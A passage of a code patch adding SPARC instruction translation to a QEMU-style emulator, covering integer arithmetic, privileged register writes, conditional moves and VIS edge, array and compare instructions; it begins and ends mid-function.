CC_OP_SUB; + } else { + tcg_gen_sub_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + } + break; + case 0x5: /* andn */ + tcg_gen_andc_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0x6: /* orn */ + tcg_gen_orc_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0x7: /* xorn */ + tcg_gen_eqv_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0x8: /* addx, V9 addc */ + gen_op_addx_int(dc, cpu_dst, cpu_src1, cpu_src2, + (xop & 0x10)); + break; +#ifdef TARGET_SPARC64 + case 0x9: /* V9 mulx */ + tcg_gen_mul_i64(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + break; +#endif + case 0xa: /* umul */ + CHECK_IU_FEATURE(dc, MUL); + gen_op_umul(dc, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0xb: /* smul */ + CHECK_IU_FEATURE(dc, MUL); + gen_op_smul(dc, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0xc: /* subx, V9 subc */ + gen_op_subx_int(dc, cpu_dst, cpu_src1, cpu_src2, + (xop & 0x10)); + break; +#ifdef TARGET_SPARC64 + case 0xd: /* V9 udivx */ + gen_helper_udivx(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, cpu_src1, cpu_src2); + break; +#endif + case 0xe: /* udiv */ + CHECK_IU_FEATURE(dc, DIV); + if (xop & 0x10) { + gen_helper_udiv_cc(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, cpu_src1, + cpu_src2); + dc->cc_op = CC_OP_DIV; + } else { + gen_helper_udiv(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, cpu_src1, + cpu_src2); + } + break; + case 0xf: /* sdiv */ + CHECK_IU_FEATURE(dc, DIV); + if (xop & 0x10) { + gen_helper_sdiv_cc(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, cpu_src1, + cpu_src2); + dc->cc_op = CC_OP_DIV; + } else { + gen_helper_sdiv(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, cpu_src1, + cpu_src2); + } + break; + default: + goto illegal_insn; + } + gen_store_gpr(dc, rd, cpu_dst); + } else { + cpu_src1 = get_src1(dc, insn); + cpu_src2 = get_src2(dc, insn); + switch (xop) { + case 0x20: /* taddcc */ + gen_op_add_cc(dc, cpu_dst, cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_TADD); + dc->cc_op = CC_OP_TADD; + break; + case 0x21: /* tsubcc */ + gen_op_sub_cc(dc, cpu_dst, cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_TSUB); + dc->cc_op = CC_OP_TSUB; + break; + case 0x22: /* taddcctv */ + gen_helper_taddcctv(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, + cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + dc->cc_op = CC_OP_TADDTV; + break; + case 0x23: /* tsubcctv */ + gen_helper_tsubcctv(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, + cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + dc->cc_op = CC_OP_TSUBTV; + break; + case 0x24: /* mulscc */ + update_psr(dc); + gen_op_mulscc(dc, cpu_dst, cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_ADD); + dc->cc_op = CC_OP_ADD; + break; +#ifndef TARGET_SPARC64 + case 0x25: /* sll */ + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 20, 31); + tcg_gen_shli_tl(tcg_ctx, cpu_dst, cpu_src1, simm & 0x1f); + } else { /* register */ + cpu_tmp0 = get_temp_tl(dc); + tcg_gen_andi_tl(tcg_ctx, cpu_tmp0, cpu_src2, 0x1f); + tcg_gen_shl_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_tmp0); + } + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x26: /* srl */ + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 20, 31); + tcg_gen_shri_tl(tcg_ctx, cpu_dst, cpu_src1, simm & 0x1f); + } else { /* register */ + cpu_tmp0 = get_temp_tl(dc); + tcg_gen_andi_tl(tcg_ctx, cpu_tmp0, cpu_src2, 0x1f); + tcg_gen_shr_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_tmp0); + } + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x27: /* sra */ + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 20, 31); + tcg_gen_sari_tl(tcg_ctx, cpu_dst, cpu_src1, simm & 0x1f); + } else { /* register */ + cpu_tmp0 = get_temp_tl(dc); + tcg_gen_andi_tl(tcg_ctx, cpu_tmp0, cpu_src2, 0x1f); + tcg_gen_sar_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_tmp0); + } + gen_store_gpr(dc, rd, cpu_dst); + break; +#endif + case 0x30: + { + cpu_tmp0 = get_temp_tl(dc); + switch(rd) { + case 0: /* wry */ + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_y, cpu_tmp0, 0xffffffff); + break; +#ifndef TARGET_SPARC64 + /* undefined in the SPARCv8 manual, nop on the microSPARC II */ + case 0x01: case 0x02: case 0x03: case 0x04: case 0x05: case 0x06: case 0x07: + case 0x08: case 0x09: case 0x0a: case 0x0b: case 0x0c: case 0x0d: case 0x0e: case 0x0f: + + /* implementation-dependent in the SPARCv8 manual, nop on the microSPARC II */ + case 0x10: case 0x11: case 0x12: case 0x13: case 0x14: case 0x15: case 0x16: case 0x17: + case 0x18: case 0x19: case 0x1a: case 0x1b: case 0x1c: case 0x1d: case 0x1e: case 0x1f: + if ((rd == 0x13) && (dc->def->features & + CPU_FEATURE_POWERDOWN)) { + /* LEON3 power-down */ + save_state(dc); + gen_helper_power_down(tcg_ctx, tcg_ctx->cpu_env); + } + break; +#else + case 0x2: /* V9 wrccr */ + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + gen_helper_wrccr(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_FLAGS); + dc->cc_op = CC_OP_FLAGS; + break; + case 0x3: /* V9 wrasi */ + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + tcg_gen_andi_tl(tcg_ctx, cpu_tmp0, cpu_tmp0, 0xff); + tcg_gen_trunc_tl_i32(tcg_ctx, tcg_ctx->cpu_asi, cpu_tmp0); + break; + case 0x6: /* V9 wrfprs */ + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + tcg_gen_trunc_tl_i32(tcg_ctx, tcg_ctx->cpu_fprs, cpu_tmp0); + save_state(dc); + gen_op_next_insn(dc); + tcg_gen_exit_tb(tcg_ctx, 0); + dc->is_br = 1; + break; + case 0xf: /* V9 sir, nop if user */ +#if !defined(CONFIG_USER_ONLY) + if (supervisor(dc)) { + ; // XXX + } +#endif + break; + case 0x13: /* Graphics Status */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + tcg_gen_xor_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_gsr, cpu_src1, cpu_src2); + break; + case 0x14: /* Softint set */ + if (!supervisor(dc)) + goto illegal_insn; + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + gen_helper_set_softint(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + break; + case 0x15: /* Softint clear */ + if (!supervisor(dc)) + goto illegal_insn; + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + gen_helper_clear_softint(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + break; + case 0x16: /* Softint write */ + if (!supervisor(dc)) + goto illegal_insn; + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + gen_helper_write_softint(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + break; + case 0x17: /* Tick compare */ +#if !defined(CONFIG_USER_ONLY) + if (!supervisor(dc)) + goto illegal_insn; +#endif + { + TCGv_ptr r_tickptr; + + tcg_gen_xor_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_tick_cmpr, cpu_src1, + cpu_src2); + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, tick)); + gen_helper_tick_set_limit(tcg_ctx, r_tickptr, + *(TCGv *)tcg_ctx->cpu_tick_cmpr); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + } + break; + case 0x18: /* System tick */ +#if !defined(CONFIG_USER_ONLY) + if (!supervisor(dc)) + goto illegal_insn; +#endif + { + TCGv_ptr r_tickptr; + + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, + cpu_src2); + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, stick)); + gen_helper_tick_set_count(tcg_ctx, r_tickptr, + cpu_tmp0); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + } + break; + case 0x19: /* System tick compare */ +#if !defined(CONFIG_USER_ONLY) + if (!supervisor(dc)) + goto illegal_insn; +#endif + { + TCGv_ptr r_tickptr; + + tcg_gen_xor_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_stick_cmpr, cpu_src1, + cpu_src2); + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, stick)); + gen_helper_tick_set_limit(tcg_ctx, r_tickptr, + *(TCGv *)tcg_ctx->cpu_stick_cmpr); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + } + break; + + case 0x10: /* Performance Control */ + case 0x11: /* Performance Instrumentation + Counter */ + case 0x12: /* Dispatch Control */ +#endif + default: + goto illegal_insn; + } + } + break; +#if !defined(CONFIG_USER_ONLY) + case 0x31: /* wrpsr, V9 saved, restored */ + { + if (!supervisor(dc)) + goto priv_insn; +#ifdef TARGET_SPARC64 + switch (rd) { + case 0: + gen_helper_saved(tcg_ctx, tcg_ctx->cpu_env); + break; + case 1: + gen_helper_restored(tcg_ctx, tcg_ctx->cpu_env); + break; + case 2: /* UA2005 allclean */ + case 3: /* UA2005 otherw */ + case 4: /* UA2005 normalw */ + case 5: /* UA2005 invalw */ + // XXX + default: + goto illegal_insn; + } +#else + cpu_tmp0 = get_temp_tl(dc); + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + gen_helper_wrpsr(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_FLAGS); + dc->cc_op = CC_OP_FLAGS; + save_state(dc); + gen_op_next_insn(dc); + tcg_gen_exit_tb(tcg_ctx, 0); + dc->is_br = 1; +#endif + } + break; + case 0x32: /* wrwim, V9 wrpr */ + { + if (!supervisor(dc)) + goto priv_insn; + cpu_tmp0 = get_temp_tl(dc); + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); +#ifdef TARGET_SPARC64 + switch (rd) { + case 0: // tpc + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_st_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tpc)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 1: // tnpc + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_st_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tnpc)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 2: // tstate + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_st_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, + tstate)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 3: // tt + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tt)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 4: // tick + { + TCGv_ptr r_tickptr; + + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, tick)); + gen_helper_tick_set_count(tcg_ctx, r_tickptr, + cpu_tmp0); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + } + break; + case 5: // tba + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_tbr, cpu_tmp0); + break; + case 6: // pstate + save_state(dc); + gen_helper_wrpstate(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + dc->npc = DYNAMIC_PC; + break; + case 7: // tl + save_state(dc); + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, tl)); + dc->npc = DYNAMIC_PC; + break; + case 8: // pil + gen_helper_wrpil(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + break; + case 9: // cwp + gen_helper_wrcwp(tcg_ctx, tcg_ctx->cpu_env, cpu_tmp0); + break; + case 10: // cansave + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, + cansave)); + break; + case 11: // canrestore + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, + canrestore)); + break; + case 12: // cleanwin + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, + cleanwin)); + break; + case 13: // otherwin + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, + otherwin)); + break; + case 14: // wstate + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, + wstate)); + break; + case 16: // UA2005 gl + CHECK_IU_FEATURE(dc, GL); + tcg_gen_st32_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, gl)); + break; + case 26: // UA2005 strand status + CHECK_IU_FEATURE(dc, HYPV); + if (!hypervisor(dc)) + goto priv_insn; + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_ssr, cpu_tmp0); + break; + default: + goto illegal_insn; + } +#else + tcg_gen_trunc_tl_i32(tcg_ctx, *(TCGv *)tcg_ctx->cpu_wim, cpu_tmp0); + if (dc->def->nwindows != 32) { + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_wim, *(TCGv *)tcg_ctx->cpu_wim, + (1 << dc->def->nwindows) - 1); + } +#endif + } + break; + case 0x33: /* wrtbr, UA2005 wrhpr */ + { +#ifndef TARGET_SPARC64 + if (!supervisor(dc)) + goto priv_insn; + tcg_gen_xor_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_tbr, cpu_src1, cpu_src2); +#else + CHECK_IU_FEATURE(dc, HYPV); + if (!hypervisor(dc)) + goto priv_insn; + cpu_tmp0 = get_temp_tl(dc); + tcg_gen_xor_tl(tcg_ctx, cpu_tmp0, cpu_src1, cpu_src2); + switch (rd) { + case 0: // hpstate + // XXX gen_op_wrhpstate(); + save_state(dc); + gen_op_next_insn(dc); + tcg_gen_exit_tb(tcg_ctx, 0); + dc->is_br = 1; + break; + case 1: // htstate + // XXX gen_op_wrhtstate(); + break; + case 3: // hintp + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_hintp, cpu_tmp0); + break; + case 5: // htba + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_htba, cpu_tmp0); + break; + case 31: // hstick_cmpr + { + TCGv_ptr r_tickptr; + + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_hstick_cmpr, cpu_tmp0); + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, hstick)); + gen_helper_tick_set_limit(tcg_ctx, r_tickptr, + *(TCGv *)tcg_ctx->cpu_hstick_cmpr); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + } + break; + case 6: // hver readonly + default: + goto illegal_insn; + } +#endif + } + break; +#endif +#ifdef TARGET_SPARC64 + case 0x2c: /* V9 movcc */ + { + int cc = GET_FIELD_SP(insn, 11, 12); + int cond = GET_FIELD_SP(insn, 14, 17); + DisasCompare cmp; + TCGv dst; + + if (insn & (1 << 18)) { + if (cc == 0) { + gen_compare(dc, &cmp, 0, cond); + } else if (cc == 2) { + gen_compare(dc, &cmp, 1, cond); + } else { + goto illegal_insn; + } + } else { + gen_fcompare(dc, &cmp, cc, cond); + } + + /* The get_src2 above loaded the normal 13-bit + immediate field, not the 11-bit field we have + in movcc. But it did handle the reg case. */ + if (IS_IMM) { + simm = GET_FIELD_SPs(insn, 0, 10); + tcg_gen_movi_tl(tcg_ctx, cpu_src2, simm); + } + + dst = gen_load_gpr(dc, rd); + tcg_gen_movcond_tl(tcg_ctx, cmp.cond, dst, + cmp.c1, cmp.c2, + cpu_src2, dst); + free_compare(tcg_ctx, &cmp); + gen_store_gpr(dc, rd, dst); + break; + } + case 0x2d: /* V9 sdivx */ + gen_helper_sdivx(tcg_ctx, cpu_dst, tcg_ctx->cpu_env, cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x2e: /* V9 popc */ + gen_helper_popc(tcg_ctx, cpu_dst, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x2f: /* V9 movr */ + { + int cond = GET_FIELD_SP(insn, 10, 12); + DisasCompare cmp; + TCGv dst; + + gen_compare_reg(dc, &cmp, cond, cpu_src1); + + /* The get_src2 above loaded the normal 13-bit + immediate field, not the 10-bit field we have + in movr. But it did handle the reg case. */ + if (IS_IMM) { + simm = GET_FIELD_SPs(insn, 0, 9); + tcg_gen_movi_tl(tcg_ctx, cpu_src2, simm); + } + + dst = gen_load_gpr(dc, rd); + tcg_gen_movcond_tl(tcg_ctx, cmp.cond, dst, + cmp.c1, cmp.c2, + cpu_src2, dst); + free_compare(tcg_ctx, &cmp); + gen_store_gpr(dc, rd, dst); + break; + } +#endif + default: + goto illegal_insn; + } + } + } else if (xop == 0x36) { /* UltraSparc shutdown, VIS, V8 CPop1 */ +#ifdef TARGET_SPARC64 + int opf = GET_FIELD_SP(insn, 5, 13); + rs1 = GET_FIELD(insn, 13, 17); + rs2 = GET_FIELD(insn, 27, 31); + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + + switch (opf) { + case 0x000: /* VIS I edge8cc */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 8, 1, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x001: /* VIS II edge8n */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 8, 0, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x002: /* VIS I edge8lcc */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 8, 1, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x003: /* VIS II edge8ln */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 8, 0, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x004: /* VIS I edge16cc */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 16, 1, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x005: /* VIS II edge16n */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 16, 0, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x006: /* VIS I edge16lcc */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 16, 1, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x007: /* VIS II edge16ln */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 16, 0, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x008: /* VIS I edge32cc */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 32, 1, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x009: /* VIS II edge32n */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 32, 0, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x00a: /* VIS I edge32lcc */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 32, 1, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x00b: /* VIS II edge32ln */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_edge(dc, cpu_dst, cpu_src1, cpu_src2, 32, 0, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x010: /* VIS I array8 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_helper_array8(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x012: /* VIS I array16 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_helper_array8(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + tcg_gen_shli_i64(tcg_ctx, cpu_dst, cpu_dst, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x014: /* VIS I array32 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_helper_array8(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + tcg_gen_shli_i64(tcg_ctx, cpu_dst, cpu_dst, 2); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x018: /* VIS I alignaddr */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_alignaddr(dc, cpu_dst, cpu_src1, cpu_src2, 0); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x01a: /* VIS I alignaddrl */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_alignaddr(dc, cpu_dst, cpu_src1, cpu_src2, 1); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x019: /* VIS II bmask */ + CHECK_FPU_FEATURE(dc, VIS2); + cpu_src1 = gen_load_gpr(dc, rs1); + cpu_src2 = gen_load_gpr(dc, rs2); + tcg_gen_add_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + tcg_gen_deposit_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_gsr, *(TCGv *)tcg_ctx->cpu_gsr, cpu_dst, 32, 32); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x020: /* VIS I fcmple16 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmple16(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x022: /* VIS I fcmpne16 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmpne16(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x024: /* VIS I fcmple32 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmple32(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x026: /* VIS I fcmpne32 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmpne32(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x028: /* VIS I fcmpgt16 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmpgt16(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x02a: /* VIS I fcmpeq16 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmpeq16(tcg_ctx, cpu_dst, cpu_src1_64, cpu_src2_64); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x02c: /* VIS I fcmpgt32 */ + CHECK_FPU_FEATURE(dc, VIS1); + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_helper_fcmpgt32(tcg_ctx, cpu_dst, cpu_src1_64, 